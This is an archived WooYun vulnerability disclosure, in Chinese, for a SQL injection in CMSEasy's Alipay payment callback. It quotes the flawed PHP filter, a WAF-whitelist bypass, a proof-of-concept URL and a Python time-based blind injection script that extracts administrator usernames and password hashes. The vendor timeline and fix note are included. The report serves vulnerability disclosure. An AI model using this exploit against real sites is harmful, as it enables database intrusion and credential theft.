乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-09-02: 细节已通知厂商并且等待厂商处理中 2014-09-03: 厂商已经确认,细节仅向厂商公开 2014-09-06: 细节向第三方安全合作伙伴开放 2014-10-28: 细节向核心白帽子及相关领域专家公开 2014-11-07: 细节向普通白帽子公开 2014-11-17: 细节向实习白帽子公开 2014-12-01: 细节向公众公开
也不知道重复没有- -!
/lib/default/archive_act.php:
function respond_action() { include_once ROOT . '/lib/plugins/pay/' . front::$get['code'] . '.php'; $payclassname = front::$get['code']; $payobj = new $payclassname(); $uri = $_SERVER["REQUEST_URI"]; $__uriget = strstr($uri, '?'); $__uriget = str_replace('?', '', $__uriget); $__uriget = explode('&', $__uriget); $_GET = array(); foreach ($__uriget as $key => $val) { $tmp = explode('=', $val); $_GET[$tmp[0]] = $tmp[1]; if(preg_match('/\'|select|union|"/i', $tmp1)){ exit('非法参数'); } } file_put_contents('logs11.txt', var_export($_GET,true)); $status = $payobj->respond();
由于程序员的失误导致$tmp1的过滤并没有起到作用,同时由于前面会对code进行过滤继续跟到alipay.php:
function respond() { if (!empty($_POST)) { foreach($_POST as $key =>$data) { if(preg_match('/(=|<|>|\')/', $data)){ return false; } $_GET[$key] = $data; } } $payment = pay::get_payment($_GET['code']);
看看get_payment().
public static function get_payment($code) { $where=array(); $where['pay_code']=$code; $where['enabled']=1; $payment1=pay::getInstance()->getrows($where);//注入 $payment = $payment1[0]; if ($payment) { $config_list = unserialize($payment['pay_config']); foreach ($config_list AS $config) { $payment[$config['name']] = $config['value']; } } return $payment; }
由于cmseasy使用了360防护,但是可以基于白名单绕过,如下poc:
http://localhost/cmseasy/uploads/index.php/?case=file&case=archive&act=respond&code=alipay'
无法使用"=",写个脚本跑一下exp:
import urllib2from time import timedef inject(payload): url = 'http://localhost/cmseasy/uploads/index.php/?case=file&case=archive&act=respond&code=alipay' req = urllib2.Request(url+payload) start = time() response = urllib2.urlopen(req) end = time() index = int(end-start) return indexwordlist = "123456789:;Abcdefghijklmnopqrstuvwxyz{"def user_pass(): result = "" for i in range(1,40): for num in range(len(wordlist)): word = ord(wordlist[num]) times = inject("'/**/and/**/IF(ord(substring((select/**/concat(username,0x3a,password)/**/from/**/cmseasy_user),{0},1))<{1},BENCHMARK(2000000,md5('xxx')),null)/**/and/**/'1".format(i,word)) if times>1: print str(i)+'<=========>'+chr(word-1) result = result+chr(word-1) break print 'username:password<=========>'+result user_pass()
完善过滤
危害等级:低
漏洞Rank:5
确认时间:2014-09-03 07:15
感谢
2014-10-14:漏洞已经处理,补丁后续发出。
2014-10-14:希望留下您的联系方式私信我们。